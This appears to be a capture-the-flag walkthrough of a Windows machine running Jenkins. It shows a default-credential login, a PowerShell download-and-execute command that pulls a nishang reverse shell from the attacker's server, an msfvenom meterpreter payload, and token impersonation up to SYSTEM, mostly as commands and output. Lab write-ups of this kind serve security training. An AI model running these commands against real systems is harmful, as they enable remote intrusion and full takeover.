Initial Access

Exploiting Jenkins,

Jenkins is a tool used to create continuous integration/continuous development pipelines that allow developers to automatically deploy their code once they made changes to it.

First of all I am going to scan the machine, for this I only know that the machine does not respond to ping, and I only need TCP ports,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

nmap -sT -Pn 10.10.207.2

Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-26 10:41 EST
Nmap scan report for 10.10.207.2
Host is up (0.058s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 5.65 seconds

This is the output.

• Port 80 is hosting a site, which tells me important informations:

  

I got a possible username and password: Bruce Wayne

And an email: alfred@wayneenterprises.com

But that’s it for now.

Port 8080 is where Jenkins is hosted.

Upon entering the page, there is a login portal, after trying “Bruce Wayne” and several other password, I am reminded that this is in the description of the room:

“common misconfiguration on a widely used automation server”

So i tried admin:admin, which worked.

Now I got control over Jenkins!

The first thing to do is searching for some type of tool that I can use to get a reverse shell:

https://github.com/samratashok/nishang

First I tried with the script console.

But it didn’t work because it can’t download the script like that, so I found a configure page under the project.

Because it has RDP open we can assume that the machine is running Windows.

I am going to use this script: “https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1”

Which I downloaded in my machine, after that I started a python server: (this will be started in the same directory as the script, that’s because jenkins will download the script thanks to the python server)

1

python3 -m http.server 8000

Then I start a listener:

1

nc -lvnp 4444

And then used this script in the script console:

1

*powershell iex (New-Object Net.WebClient).DownloadString('http://your-ip:your-python-server-port/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.18.20.116 -Port 4444*

After that I build the config we got a shell!

1
2
3
4
5
6
7
8

nc -lvnp 4444

listening on [any] 4444 ...
connect to [10.18.20.116] from (UNKNOWN) [10.10.207.2] 49236
Windows PowerShell running as user bruce on ALFRED
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Program Files (x86)\Jenkins\workspace\project>

We can see that we are the user alfred\bruce

1
2

PS C:\Program Files (x86)\Jenkins\workspace\project>whoami
alfred\bruce

Now I need the user flag, which I found in the user Desktop:

PS C:\Users\bruce\Desktop> ls

1
2
3
4
5
6
7

PS C:\Users\bruce\Desktop> ls

Directory: C:\\Users\\bruce\\Desktop

Mode                LastWriteTime     Length Name

a--- 10/25/2019 11:22 PM 32 user.txt

Now, I am going to switch this scuffed revshell in an imrpoved version, we can do this using the meterpreter shell.

Upgrading the shell

Leave your previous connection OPEN.

We create our payload:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.18.20.116 LPORT=4555 -f exe -o revshellps1.exe

After creating this payload, download it to the machine using the same method in the previous step:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.18.20.116:8000/revshellps1.exe','revshellps1.exe')"

Now that we have done that, we need to use Metasploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12

**use exploit/multi/handler**
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LHOST Your_Machine_IP
LHOST => 10.18.20.116

msf6 exploit(multi/handler) > set LPORT Your_Port(Same as the one you used for creating the payload)
LPORT => 4555
msf6 exploit(multi/handler) > run

Once we run, we nee to go in our previous connection(The one we created with nc) and start the process:

1

Start-Process "shell-name.exe”

You will find the shell under: C:\Program Files (x86)\Jenkins\workspace\project

Now that we have a stable shell, we can try to gain major privileges!

Privilege Escalation

First thing we do is:

whoami /priv

With this we can see all the Enabled privileges

(SeDebugPrivilege, SeImpersonatePrivilege) Those are the one that we find interessing.

Then we check for the available tokens:

impersonate_token

And we can see the BUILTIN\Administrators token available

So we try to impersonate the token:

1
2
3
4
5

meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user **NT AUTHORITY\SYSTEM**

Even though you have a higher privileged token, you may not have the permissions of a privileged user.

To go around that we can migrate to a process with the correct privileges.

First we use ps to view the processes, then we grab the PID of services.exe, which we pick because is it normally a ssafe option.

and we migrate to that PID:

1

migrate PID-OF-PROCESS

Now we should have full SYSTEM privileges!!